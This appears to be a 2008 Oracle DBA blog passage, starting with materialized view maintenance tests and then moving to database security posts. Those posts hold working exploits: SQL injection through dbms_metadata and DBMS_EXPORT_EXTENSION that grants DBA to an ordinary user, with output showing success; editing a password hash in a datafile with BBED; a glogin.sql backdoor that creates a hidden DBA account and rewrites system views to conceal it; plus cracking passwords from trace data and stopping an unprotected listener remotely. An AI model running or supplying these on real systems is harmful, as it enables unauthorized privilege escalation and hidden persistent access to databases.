ORA-06512: at line 1

test@TEST>insert into test.t1 values(4,’A’,’B’);
1 row created.

test@TEST>alter table test.t1 modify b varchar2(2);
Table altered.

test@TEST>insert into test.t1 values(5,’A’,’BB’);
insert into test.t1 values(5,’A’,’BB’)
                 *
ERROR at line 1:
ORA-12096: error in materialized view log on “TEST”.”T1″
ORA-12899: value too large for column “TEST”.”MLOG$_T1″.”B” (actual: 2, maximum: 1)

test@TEST>insert into test.t1 values(5,’A’,’B’);
1 row created.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
PL/SQL procedure successfully completed.

test@TEST>alter  MATERIALIZED VIEW log on test.t1 modify b varchar2(2);
Materialized view log altered.

test@TEST>insert into test.t1 values(6,’A’,’BB’);
1 row created.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
BEGIN dbms_mview.refresh(’MV_T1′,’F’); END;
*
ERROR at line 1:
ORA-12008: error in materialized view refresh path
ORA-12899: value too large for column “TEST”.”MV_T1″.”B” (actual: 2, maximum: 1)
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2254
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2460
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2429
ORA-06512: at line 1

test@TEST>desc test.MV_T1
 Name                                                  Null?    Type
 —————————————————– ——– ————————————
 ID                                                    NOT NULL NUMBER
 A                                                              CHAR(1)
 B                                                              VARCHAR2(1)
 
test@TEST>alter table test.mv_t1 modify b varchar2(2);
Table altered.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
PL/SQL procedure successfully completed.

test@TEST>alter table test.t1 modify a char(2);
alter table test.t1 modify a char(2)
*
ERROR at line 1:
ORA-12096: error in materialized view log on “TEST”.”T1″
ORA-12899: value too large for column “TEST”.”MLOG$_T1″.”A” (actual: 2, maximum: 1)

test@TEST>alter  MATERIALIZED VIEW log on test.t1 modify a char(2);
Materialized view log altered.

test@TEST>alter table test.t1 modify a char(2);
Table altered.

test@TEST>alter table test.mv_t1 modify a char(2);
alter table test.mv_t1 modify a char(2)
*
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view

test@TEST>drop MATERIALIZED VIEW mv_t1;
Materialized view dropped.

test@TEST>drop MATERIALIZED VIEW log on test.t1;
Materialized view log dropped.

test@TEST>create MATERIALIZED VIEW log on test.t1 with PRIMARY KEY, rowid, SEQUENCE(a,b) including new values;
Materialized view log created.

test@TEST>CREATE MATERIALIZED VIEW test.mv_t1 build immediate refresh force on demand as select * from test.t1;
Materialized view created.

test@TEST>select * from test.mv_t1;
        ID A  B
———- — –
         3 A  B
         2 a  b
         1 A  B
         4 A  B
         5 A  B
         6 A  BB
6 rows selected.

test@TEST>insert into test.t1(id) values(7);
1 row created.

test@TEST>alter table test.t1 modify b default ‘NA’;
Table altered.
 
test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
PL/SQL procedure successfully completed.

test@TEST>insert into test.t1(id) values(8);
1 row created.

test@TEST>alter table test.t1 modify a default ‘NA’;
Table altered.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
PL/SQL procedure successfully completed.

test@TEST>select * from test.mv_t1;
        ID A  B
———- — –
         3 A  B
         2 a  b
         1 A  B
         4 A  B
         5 A  B
         6 A  BB
         7
         8    NA
8 rows selected.

test@TEST>alter table test.t1 drop column a;
Table altered.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
PL/SQL procedure successfully completed.

test@TEST>select * from mv_t1;
        ID A  B
———- — –
         3 A  B
         2 a  b
         1 A  B
         4 A  B
         5 A  B
         6 A  BB
         9 NA NA
         7
         8    NA
9 rows selected.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’C’);
BEGIN dbms_mview.refresh(’MV_T1′,’C’); END;
*
ERROR at line 1:
ORA-12018: following error encountered during code generation for “TEST”.”MV_T1″
ORA-00904: “T1″.”A”: invalid identifier
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2254
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2460
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2429
ORA-06512: at line 1

test@TEST>alter table test.MLOG$_T1 drop column a;
Table altered.

test@TEST>alter table test.mv_t1 drop column a;
Table altered.

test@TEST>insert into test.t1(id) values(10);
1 row created.

test@TEST>exec dbms_mview.UNREGISTER_MVIEW(’TEST’,’MV_T1′,’TEST.REGRESS.RDBMS.DEV.US.ORACLE.COM’);
PL/SQL procedure successfully completed.

test@TEST>exec dbms_mview.REGISTER_MVIEW(’TEST’,’MV_T1′,’TEST.REGRESS.RDBMS.DEV.US.ORACLE.COM’,100,dbms_mview.reg_primary_key_mview,’select id,b from test.t1′,dbms_mview.reg_v8_snapshot);
PL/SQL procedure successfully completed.

sys@TEST>update sys.snap$ set QUERY_TXT=’SELECT “T1″.”ID” “ID”,”T1″.”B” “B” FROM “TEST”.”T1″ “T1″‘,QUERY_LEN=56 where VNAME=’MV_T1′;
1 row updated.

sys@TEST>commit;
Commit complete.

sys@TEST>exec dbms_mview.refresh(’TEST.MV_T1′,’F’);
PL/SQL procedure successfully completed.

sys@TEST>select * from test.mv_t1;
        ID B
———- –
         3 B
         2 b
         1 B
         4 B
         5 B
         6 BB
         9 NA
         7
         8 NA
        10 NA
10 rows selected.
From the above result, the base table can change the column’s length on some data type, such as varchar2, but not char. There’s different behavior to specify the default value on varchar2 and char after the columns have exist. Drop base table’s columns which be referenced by materialized view maybe be possible (Don’t do that on production). Add columns to base table which materialized view does not contains them also be possible. If multi-tables join or contain aggregation function, there’s more restriction to change base table’s definition.

 
Move materialized view to different tablespace.

test@TEST>alter table test.mv_t1 move tablespace users;
Table altered.

test@TEST>alter index t1_pk1 rebuild;
Index altered.

 
Complete refresh changed from 9i to 10g
Materialized view complete refresh has changed from Oracle 9i to 10g a little. Also atomic parameter has the same default value, but the behavior is different when complete refresh one materialized view. After upgrade from Oracle 9i to 10g, complete refresh maybe take a long time and more redo size.

SQL> select * from v$version;
BANNER
—————————————————————-
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
PL/SQL Release 9.2.0.4.0 – Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 – Production
NLSRTL Version 9.2.0.4.0 – Production
 
SQL> create table t1 as select rownum id from all_objects where rownum<6;
Table created.
 
SQL> alter table t1 add constraint t1_pk primary key (id);
Table altered.

SQL> create materialized view mv_t1 as select * from t1;
Materialized view created.

SQL> select * from mv_t1;
ID
———-
1
2
3
4
5

SQL> alter session set events ‘10046 trace name context forever,level 12′;
Session altered.

SQL> exec dbms_mview.refresh(’MV_T1′,method=>’c’);
PL/SQL procedure successfully completed.

SQL> alter session set events ‘10046 trace name context off’;
Session altered.
Extract data from trace file.

PARSING IN CURSOR #31 len=48 dep=1 uid=22 oct=85 lid=22 tim=1173899130266695 hv=1203315168 ad=’5939c468′
truncate table “TEST”.”MV_T1″ purge snapshot log
END OF STMT
PARSE #31:c=0,e=11549,p=0,cr=0,cu=1,mis=1,r=0,dep=1,og=4,tim=1173899130266689

PARSING IN CURSOR #31 len=78 dep=1 uid=22 oct=2 lid=22 tim=1173899130361469 hv=2194498332 ad=’59373ac4′
INSERT /*+ APPEND */ INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″
END OF STMT

From the above result, the materialized view be truncated firstly, then insert append data, if this materialized view is nologging, it maybe cause recover issue after that time.

SQL> select NAME,UNRECOVERABLE_CHANGE#,UNRECOVERABLE_TIME from v$datafile;
NAME UNRECOVERABLE_CHANGE# UNRECOVER
————————————————– ——————— ———
/ddms01/dms/o02dms0suprt1/system_1.O02DMS0 0
/ddms01/dms/o02dms0data1/undo_tbs_01.O02DMS0 0
/ddms01/dms/o02dms0data1/users_1.O02DMS0 0
/ddms01/dms/o02dms0data1/cqowner_ts_01.O02DMS0 0
/ddms01/dms/o02dms0data1/tools01.dbf 0
/ddms01/dms/o02dms0data1/test_2k_01.dbf 0
/ddms01/dms/o02dms0data1/test01.dbf 0
/ddms01/dms/oracle/9.2.0/dbs/MISSING00008 0
8 rows selected.

SQL> drop materialized view mv_t1;
Materialized view dropped.

SQL> create materialized view mv_t1 nologging tablespace users as select * from t1;
Materialized view created.

SQL> select NAME,UNRECOVERABLE_CHANGE#,UNRECOVERABLE_TIME from v$datafile;
NAME UNRECOVERABLE_CHANGE# UNRECOVERABLE_TIME
————————————————– ——————— ——————-

/ddms01/dms/o02dms0data1/users_1.O02DMS0 1.1329E+10 2008-02-03 13:16:57

SQL> exec dbms_mview.refresh(’MV_T1′,method=>’c’);
PL/SQL procedure successfully completed.

SQL> select NAME,UNRECOVERABLE_CHANGE#,UNRECOVERABLE_TIME from v$datafile;
NAME UNRECOVERABLE_CHANGE# UNRECOVERABLE_TIME
————————————————– ——————— ——————-

/ddms01/dms/o02dms0data1/users_1.O02DMS0 1.1329E+10 2008-02-03 13:19:09

SQL> create materialized view mv2_t1 as select * from t1;
Materialized view created.

SQL> alter session set events ‘10046 trace name context forever,level 12′;
Session altered.

SQL> exec dbms_mview.refresh(’MV_T1,MV2_t1′,method=>’c’);
PL/SQL procedure successfully completed.


PARSING IN CURSOR #18 len=26 dep=1 uid=22 oct=7 lid=22 tim=1173901762258356 hv=2659115118 ad=’5af5f0e0′
delete from “TEST”.”MV_T1″
END OF STMT

PARSING IN CURSOR #18 len=64 dep=1 uid=22 oct=2 lid=22 tim=1173901762261353 hv=3235319373 ad=’593e7a60′
INSERT INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″
END OF STMT

PARSING IN CURSOR #18 len=27 dep=1 uid=22 oct=7 lid=22 tim=1173901762287626 hv=2749552578 ad=’5aee50f0′
delete from “TEST”.”MV2_T1″
END OF STMT

PARSING IN CURSOR #20 len=65 dep=1 uid=22 oct=2 lid=22 tim=1173901762283788 hv=1756284514 ad=’5aee9ec4′
INSERT INTO “TEST”.”MV2_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″
END OF STMT
 

If complete refresh a group of materialized view, deleting instead of truncate data so that all actions are in one transaction.

SQL> select * from v$version;
BANNER
—————————————————————-
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 – Prod
PL/SQL Release 10.2.0.1.0 – Production
CORE 10.2.0.1.0 Production
TNS for Linux: Version 10.2.0.1.0 – Production
NLSRTL Version 10.2.0.1.0 – Production

SQL> create table t1 as select rownum id from all_objects where rownum<6;
Table created.

SQL> alter table t1 add constraint t1_pk primary key (id);
Table altered.
 
SQL> create materialized view mv_t1 as select * from t1;
Materialized view created.

SQL> alter session set events ‘10046 trace name context forever,level 12′;
Session altered.

SQL> exec dbms_mview.refresh(’MV_T1′,method=>’c’);
PL/SQL procedure successfully completed.

SQL> alter session set events ‘10046 trace name context off’;
Session altered.


PARSING IN CURSOR #21 len=27 dep=1 uid=32 oct=7 lid=32 tim=1173900388085768 hv=2156255936 ad=’2f8da41c’
delete from “TEST”.”MV_T1″
END OF STMT

PARSING IN CURSOR #19 len=64 dep=1 uid=32 oct=2 lid=32 tim=1173900387983740 hv=1185993576 ad=’2f960aac’
INSERT INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″
END OF STMT

From the above result, we can see that the default behavior is different between 9i and 10g when complete refersh one materialized view.

SQL> alter session set events ‘10046 trace name context forever,level 12′;
Session altered.

SQL> exec dbms_mview.refresh(’MV_T1′,method=>’c’,atomic_refresh=>false);
PL/SQL procedure successfully completed.

PARSING IN CURSOR #21 len=49 dep=1 uid=32 oct=85 lid=32 tim=1173903443911624 hv=1821482286 ad=’2c538e0c’
truncate table “TEST”.”MV_T1″ purge snapshot log
END OF STMT

PARSING IN CURSOR #21 len=123 dep=1 uid=32 oct=2 lid=32 tim=1173903444814792 hv=2267269472 ad=’2f87a8cc’
INSERT /*+ BYPASS_RECURSIVE_CHECK APPEND SKIP_UNQ_UNUSABLE_IDX */ INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″
END OF STMT

September 2, 2008

Network

Filed under: Oracle — Yaping @ 2:35 am
Tags:

Oracle Password Protocol (O3Logon)

O3Logon protocol is used in Oracle 10g and earlier, O5Logon used since 11g.

When client connect to db, it firstly sends the user to server, then the server checks whether it is a valid username, if it is not, the server sends a “login denied” error to client.

If the user exists, then the server extracts the users’ password hash value from the database, the server uses this hash value to create a secret number.

The secret number is then encrypted with the user’s password hash value, and the result becomes the AUTH_SESSKEY, it is sent to client.

After receiving the AUTH_SESSKEY, the client must decrypt the secret number. The user creates his/her password hash, this hash is then used as the key to decrypt the AUTH_SESSKEY. If everything goes well, then this should produce the secret number. This secret number is then used as a key to encrypt the user’s clear-text. The cipher text is then sent back to the server as the AUTH_PASSWORD.

The server decrypts the AUTH_PASSWORD with the secret number used as the key. The server now has a copy of the clear-text password. Then the server creates the password hash and compares it with the hash in the database. If they match, then the user is authenticated. Checks are then performed by the server to determine whether the user has the create session privilege, if so, the user is given access to the database server.

If not necessary, don’t set Oracle network trace, it can extract significant data.

Illuminate as following demo. Change sqlnet.ora file on server side, enable trace.

trace_file_server=srv.trc
trace_directory_server=/tmp
trace_level_server=support

Or add the following items on client side.

trace_file_client=cli.trc
trace_directory_client=/tmp
trace_level_client=support

Connect to db and submit one statement.
[oracle@chen tmp]$ sqlplus system@chen
SQL*Plus: Release 10.2.0.3.0 – Production on Fri Jan 11 20:10:20 2008
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.
Enter password: ******
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production

system@CHEN>alter user system identified by system;
User altered.

Then check trace file, we can find significant content, including clear SQL statement text.

… …

[11-JAN-2008 20:10:23:529] nsprecv: 00 88 B6 FF BF 94 BC FF  |……..|
[11-JAN-2008 20:10:23:529] nsprecv: BF 06 73 79 73 74 65 6D  |..system|
[11-JAN-2008 20:10:23:529] nsprecv: 0D 00 00 00 0D 41 55 54  |…..AUT|
[11-JAN-2008 20:10:23:529] nsprecv: 48 5F 54 45 52 4D 49 4E  |H_TERMIN|
[11-JAN-2008 20:10:23:529] nsprecv: 41 4C 05 00 00 00 05 70  |AL…..p|
[11-JAN-2008 20:10:23:530] nsprecv: 74 73 2F 32 00 00 00 00  |ts/2….|
… …
[11-JAN-2008 20:10:23:545] nspsend: 00 00 08 01 00 0C 00 00  |……..|
[11-JAN-2008 20:10:23:545] nspsend: 00 0C 41 55 54 48 5F 53  |..AUTH_S|
[11-JAN-2008 20:10:23:545] nspsend: 45 53 53 4B 45 59 20 00  |ESSKEY..|
[11-JAN-2008 20:10:23:545] nspsend: 00 00 20 33 32 32 43 43  |…322CC|
[11-JAN-2008 20:10:23:546] nspsend: 38 34 31 30 33 43 36 33  |84103C63|
[11-JAN-2008 20:10:23:546] nspsend: 42 41 36 30 30 38 46 41  |BA6008FA|
[11-JAN-2008 20:10:23:546] nspsend: 33 44 39 36 37 42 45 46  |3D967BEF|
[11-JAN-2008 20:10:23:546] nspsend: 34 43 46 00 00 00 00 04  |4CF…..|
[11-JAN-2008 20:10:23:546] nspsend: 01 00 00 00 01 00 00 00  |……..|
… …
[11-JAN-2008 20:10:23:548] nsprecv: 00 8C E3 FF BF 7C F4 FF  |…..|..|
[11-JAN-2008 20:10:23:548] nsprecv: BF 06 73 79 73 74 65 6D  |..system|
[11-JAN-2008 20:10:23:549] nsprecv: 0D 00 00 00 0D 41 55 54  |…..AUT|
[11-JAN-2008 20:10:23:549] nsprecv: 48 5F 50 41 53 53 57 4F  |H_PASSWO|
[11-JAN-2008 20:10:23:549] nsprecv: 52 44 20 00 00 00 20 39  |RD…..9|
[11-JAN-2008 20:10:23:549] nsprecv: 41 43 42 46 37 34 33 38  |ACBF7438|
[11-JAN-2008 20:10:23:549] nsprecv: 43 38 41 39 41 42 36 30  |C8A9AB60|
[11-JAN-2008 20:10:23:549] nsprecv: 36 31 30 33 31 33 44 30  |610313D0|
[11-JAN-2008 20:10:23:549] nsprecv: 41 46 34 46 34 36 37 00  |AF4F467.|
[11-JAN-2008 20:10:23:549] nsprecv: 00 00 00 08 00 00 00 08  |……..|
… …
[11-JAN-2008 20:11:11:038] nsprecv: 24 ED 0A 08 00 00 00 00  |$…….|
[11-JAN-2008 20:11:11:038] nsprecv: 26 61 6C 74 65 72 20 75  |&alter.u|
[11-JAN-2008 20:11:11:038] nsprecv: 73 65 72 20 73 79 73 74  |ser.syst|
[11-JAN-2008 20:11:11:038] nsprecv: 65 6D 20 69 64 65 6E 74  |em.ident|
[11-JAN-2008 20:11:11:038] nsprecv: 69 66 69 65 64 20 62 79  |ified.by|
[11-JAN-2008 20:11:11:038] nsprecv: 20 73 79 73 74 65 6D 01  |.system.|
[11-JAN-2008 20:11:11:038] nsprecv: 00 00 00 01 00 00 00 00  |……..|
[11-JAN-2008 20:11:11:038] nsprecv: 00 00 00 00 00 00 00 00  |……..|

We can use AUTH_SESSKEY and AUTH_PASSWORD values to crack the password. In Oracle 11g, salt value is sent through AUTH_VFR_DATA.

When users connect to db, if the accounts don’t exist or the passwords don’t correct, display the same error message. But we can check information through trace file to determine if accounts exist or passwords correct.

Password not correct
[oracle@chen tmp]$ sqlplus test@chen
SQL*Plus: Release 10.2.0.3.0 – Production on Sat Jan 12 15:04:55 2008
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.
Enter password: *****
ERROR:
ORA-01017: invalid username/password; logon denied

Account not exist
[oracle@chen tmp]$ sqlplus dummy@chen
SQL*Plus: Release 10.2.0.3.0 – Production on Sat Jan 12 15:08:07 2008
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.
Enter password: *****
ERROR:
ORA-01017: invalid username/password; logon denied

LISTENER should be protected by password and other admin restrict, limit users access. If LISTENER has not been protected, users can obtain LISNTER information remotely and stop it.

[oracle@cheney sql]$ lsnrctl status 192.168.1.119
LSNRCTL for Linux: Version 9.2.0.4.0 – Production on 19-FEB-2008 21:14:45
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.1.119))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.119)(PORT=1521)))
STATUS of the LISTENER
————————
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 9.2.0.4.0 – Production
Start Date                13-FEB-2008 05:48:49
Uptime                    0 days 0 hr. 0 min. 25 sec
Trace Level               admin
Security                  OFF
SNMP                      OFF
Listener Parameter File   /opt/app/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File         /opt/app/oracle/product/9.2.0/network/log/listener.log
Listener Trace File       /opt/app/oracle/product/9.2.0/network/trace/listener.trc
Listening Endpoints Summary…
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1522)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1526)))
Services Summary…
Service “chen” has 1 instance(s).
  Instance “chen”, status UNKNOWN, has 1 handler(s) for this service…
Service “stby” has 1 instance(s).
  Instance “stby”, status UNKNOWN, has 1 handler(s) for this service…
Service “test” has 1 instance(s).
  Instance “test”, status UNKNOWN, has 1 handler(s) for this service…
The command completed successfully
[oracle@cheney sql]$
[oracle@cheney sql]$
[oracle@cheney sql]$ lsnrctl stop 192.168.1.119
LSNRCTL for Linux: Version 9.2.0.4.0 – Production on 19-FEB-2008 21:16:39
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.1.119))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.119)(PORT=1521)))

The command completed successfully

Vulnerable Packages

Filed under: Oracle — Yaping @ 2:34 am
Tags:

I’ll list several vulnerable packages, which are used frequently.

Utl_file
Utl_file package can be used to read/write OS files within db, PUBLIC has execute privilege by default. If users have only create session privilege and read/write privilege on directories or utl_file_dir set, then these users can read/write any files under these directories which oracle have corresponding privilege. Cracker can read sensitive data or destroy whole database through it.

Dbms_metadata
Input passed to the OBJECT_TYPE parameter used in various procedures of the dbms_metadata package is not properly sanitised and can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Oracle 9i/10g has this issue.

@>conn test/test
Connected.
@>select * from session_roles;
ROLE
——————————
RESOURCE
CONNECT
PLUSTRACE

@>create or replace function get_dba
  2    return varchar2
  3    authid current_user is
  4    pragma autonomous_transaction;
  5    begin
  6      execute immediate ‘grant dba to public’;
  7      commit;
  8      return ”;
  9    end;
 10  /
Function created.

@>@>
@>select dbms_metadata.get_ddl(”’||test.get_dba()||”’,”) from dual;
ERROR:
ORA-31600: invalid input value ‘||test.get_dba()||’ for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at “SYS.DBMS_SYS_ERROR”, line 105
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 1536
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 1900
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 3606
ORA-06512: at “SYS.DBMS_METADATA”, line 504
ORA-06512: at “SYS.DBMS_METADATA”, line 560
ORA-06512: at “SYS.DBMS_METADATA”, line 1221
ORA-06512: at line 1
no rows selected

@>conn test/test
Connected.
@>select * from session_roles;
ROLE
——————————
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
PLUSTRACE
RESOURCE
CONNECT
11 rows selected.

DBMS_EXPORT_EXTENSION
This package is used when export data, PUBLIC has execute privilege by default before 10gR2.

@>conn test/test
Connected.
@>
@>select * from session_roles;
ROLE
——————————
RESOURCE
CONNECT
PLUSTRACE

@>CREATE OR REPLACE PACKAGE MYTESTPKG
  2  AUTHID CURRENT_USER
  3  IS
  4    FUNCTION ODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
  5    RETURN NUMBER;
  6  END;
  7  /
Package created.

@>CREATE OR REPLACE PACKAGE BODY MYTESTPKG
  2  IS
  3    FUNCTION ODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
  4    RETURN NUMBER
  5  IS
  6    pragma autonomous_transaction;
  7  BEGIN
  8    EXECUTE IMMEDIATE ‘GRANT DBA TO TEST’;
  9    COMMIT;
 10    RETURN(1);
 11  END;
 12
 13  END;
 14  /
Package body created.

@>DECLARE
  2    V_INDEX_NAME VARCHAR2(200);
  3    V_INDEX_SCHEMA VARCHAR2(200);
  4    V_TYPE_NAME VARCHAR2(200);
  5    V_TYPE_SCHEMA VARCHAR2(200);
  6    V_VERSION VARCHAR2(200);
  7    V_NEWBLOCK PLS_INTEGER;
  8    V_GMFLAGS NUMBER;
  9    v_Return VARCHAR2(200);
 10  BEGIN
 11    V_INDEX_NAME := ‘A1′;
 12    V_INDEX_SCHEMA := ‘TEST’;
 13    V_TYPE_NAME := ‘MYTESTPKG’;
 14    V_TYPE_SCHEMA := ‘TEST’;
 15    V_VERSION := ‘9.2.0.4.0′;
 16    V_GMFLAGS := 1;
 17
 18    v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => V_INDEX_NAME, INDEX_SCHEMA => V_INDEX_SCHEMA,
 19              TYPE_NAME=> V_TYPE_NAME,TYPE_SCHEMA => V_TYPE_SCHEMA, VERSION => V_VERSION, NEWBLOCK =>V_NEWBLOCK, GMFLAGS => V_GMFLAGS);
 20  END;
 21  /
PL/SQL procedure successfully completed.

@>set role dba;
Role set.
@>select * from session_roles;
ROLE
——————————
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
PLUSTRACE
9 rows selected.

Change Password with BBED

Filed under: Oracle — Yaping @ 2:33 am
Tags: ,

Firstly, we prepare one user & password we want to logon, assuming we use system/system to logon database.

Then we obtain this password hash value, it can be gotten from test environment.

@>alter user system identified by system;
User altered.

@>select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;
USERNAME                       PASSWORD
—————————— ——————————
SYSTEM                         970BAA5B81930A40

Or obtain this value by oracle hash create tools.

Then we need get the actual password hash value and the table’s location in data file.

@>select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;
USERNAME                       PASSWORD
—————————— ——————————
SYSTEM                         292EB6812EBA50C2

@>select CLUSTER_NAME from dba_tables where TABLE_NAME=’USER$’;
CLUSTER_NAME
——————————
C_USER#

@>select EXTENT_ID,FILE_ID,BLOCK_ID,BLOCKS from dba_extents where SEGMENT_NAME=’C_USER#’;
 EXTENT_ID    FILE_ID   BLOCK_ID     BLOCKS
———- ———- ———- ———-
         0          1         89          8

Next, we use bbed to modify data file directly.

BBED> set dba 1,90
        DBA             0×0040005a (4194394 1,90)
BBED> find /c 292EB6812EBA50C2 top
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90               Offsets: 5895 to 6406           Dba:0×0040005a
————————————————————————
 32393245 42363831 32454241 35304332 018002c1 0307786b 0a0b0c06 3507786b
 0c17022f 1cffff01 80ff02c1 02ffff01 80018009 5359535f 47524f55 506c0011
 1113474c 4f42414c 5f41515f 55534552 5f524f4c 45018006 474c4f42 414c0180
 01800778 6b0a0b0c 0d18ffff ff0180ff 02c102ff ff018001 80164445 4641554c
 545f434f 4e53554d 45525f47 524f5550 ac000101 00010000 40005a00 12004000
 5a001202 c1136c00 11100c41 515f5553 45525f52 4f4c4501 80ff0180 01800778
 6b0a0b0c 0d18ffff ff0180ff 02c102ff ff018001 80164445 4641554c 545f434f
 4e53554d 45525f47 524f5550 ac000101 00010000 40005a00 11004000 5a001102
 c1126c00 110f1541 515f4144 4d494e49 53545241 544f525f 524f4c45 0180ff01
 80018007 786b0a0b 0c0d17ff ffff0180 ff02c102 ffff0180 01801644 45464155
 4c545f43 4f4e5355 4d45525f 47524f55 50ac0001 01000100 0040005a 00100040
 005a0010 02c1116c 00110e16 4c4f4753 54444259 5f41444d 494e4953 54524154
 4f520180 ff018001 8007786b 0a0b0c0c 3bffffff 0180ff02 c102ffff 01800180
 16444546 41554c54 5f434f4e 53554d45 525f4752 4f5550ac 00010100 01000040
 005a000f 0040005a 000f02c1 106c0011 0d184741 54484552 5f535953 54454d5f
 53544154 49535449 43530180 ff018001 8007786b 0a0b0c0c 3bffffff 0180ff02
 <32 bytes per line>

BBED>
BBED> dump /v dba 1,90 offset 5895 count 32
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90      Offsets: 5895 to 5926  Dba:0×0040005a
——————————————————-
 32393245 42363831 32454241 35304332 l 292EB6812EBA50C2
 018002c1 0307786b 0a0b0c06 3507786b l …á..xk….5.xk
 <16 bytes per line>

BBED> modify /c 970BAA5B81930A40 dba 1,90 offset 5895
BBED-00215: editing not allowed in BROWSE mode

BBED> set mode edit
        MODE            Edit
BBED> modify /c 970BAA5B81930A40 dba 1,90 offset 5895
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90               Offsets: 5895 to 5926           Dba:0×0040005a
————————————————————————
 39373042 41413542 38313933 30413430 018002c1 0307786b 0a0b0c06 3507786c
 <32 bytes per line>

BBED> dump /v dba 1,90 offset 5895 count 32
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90      Offsets: 5895 to 5926  Dba:0×0040005a
——————————————————-
 39373042 41413542 38313933 30413430 l 970BAA5B81930A40
 018002c1 0307786b 0a0b0c06 3507786c l …á..xk….5.xl
 <16 bytes per line>

BBED> sum dba 1,90 apply
Check value for File 1, Block 90:
current = 0xc51f, required = 0xc51f
BBED> exit

[oracle@chen data]$ sql
SQL*Plus: Release 9.2.0.4.0 – Production on Thu Jan 10 06:39:56 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
@>conn system/system
Connected.

Startup Files

Filed under: Oracle — Yaping @ 2:30 am
Tags:

There’re some SQL command files which will be executed when users logon db, such as glogin.sql/login.sql on SQL*Plus, toad.ini on TOAD. The cracker can modify these files and add some statements to create user, escalate privileges, change data, and so on. Illuminate through the following demo.

Modify glogin.sql file, add the following statements. It has two purposes: create one user with dba privilege; recreate view dba_users & all_users, hide this user through query these views.

set term off
create user cracker identified by cracker;
grant dba to cracker;
  CREATE OR REPLACE FORCE VIEW “SYS”.”ALL_USERS” (”NAME”, “USER#”, “CTIME”) AS
… …
  and u.name != ‘CRACKER’;
CREATE OR REPLACE FORCE VIEW “SYS”.”DBA_USERS” (”USERNAME”, “USER_ID”, “PASSWORD”, “ACCOUNT_STATUS”, “LOCK_DATE”, “EXPIRY_DATE”, “DEFAULT_TABLESPACE”, “TEMPORARY_TABLESPACE”, “CREATED”, “PROFILE”, “INITIAL_RSRC_CONSUMER_GROUP”, “EXTERNAL_NAME”) AS
  … …
       and u.name != ‘CRACKER’;
set term on

Then logon db with sys user.

[oracle@chen admin]$ sqlplus
SQL*Plus: Release 9.2.0.4.0 – Production on Thu Jan 10 11:07:06 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
Enter user-name: /as sysdba
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production
